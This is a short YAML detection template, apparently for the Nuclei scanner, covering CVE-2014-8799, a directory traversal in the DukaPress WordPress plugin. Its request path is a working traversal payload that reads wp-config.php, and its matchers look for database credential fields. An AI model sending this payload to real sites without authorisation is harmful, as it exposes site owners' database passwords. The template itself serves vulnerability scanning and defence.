32 lines
944 B
YAML
32 lines
944 B
YAML
id: CVE-2014-8799
|
|
|
|
info:
|
|
name: WordPress Plugin DukaPress 2.5.2 - Directory Traversal
|
|
author: daffainfo
|
|
severity: high
|
|
description: Directory traversal vulnerability in the dp_img_resize function in php/dp-functions.php in the DukaPress plugin before 2.5.4 for WordPress allows remote attackers to read arbitrary files via a .. (dot dot) in the src parameter to lib/dp_image.php.
|
|
reference:
|
|
- https://www.exploit-db.com/exploits/35346
|
|
- https://www.cvedetails.com/cve/CVE-2014-8799
|
|
tags: cve,cve2014,wordpress,wp-plugin,lfi
|
|
|
|
requests:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/wp-content/plugins/dukapress/lib/dp_image.php?src=../../../../wp-config.php"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
words:
|
|
- "DB_NAME"
|
|
- "DB_PASSWORD"
|
|
- "DB_USER"
|
|
- "DB_HOST"
|
|
part: body
|
|
condition: and
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|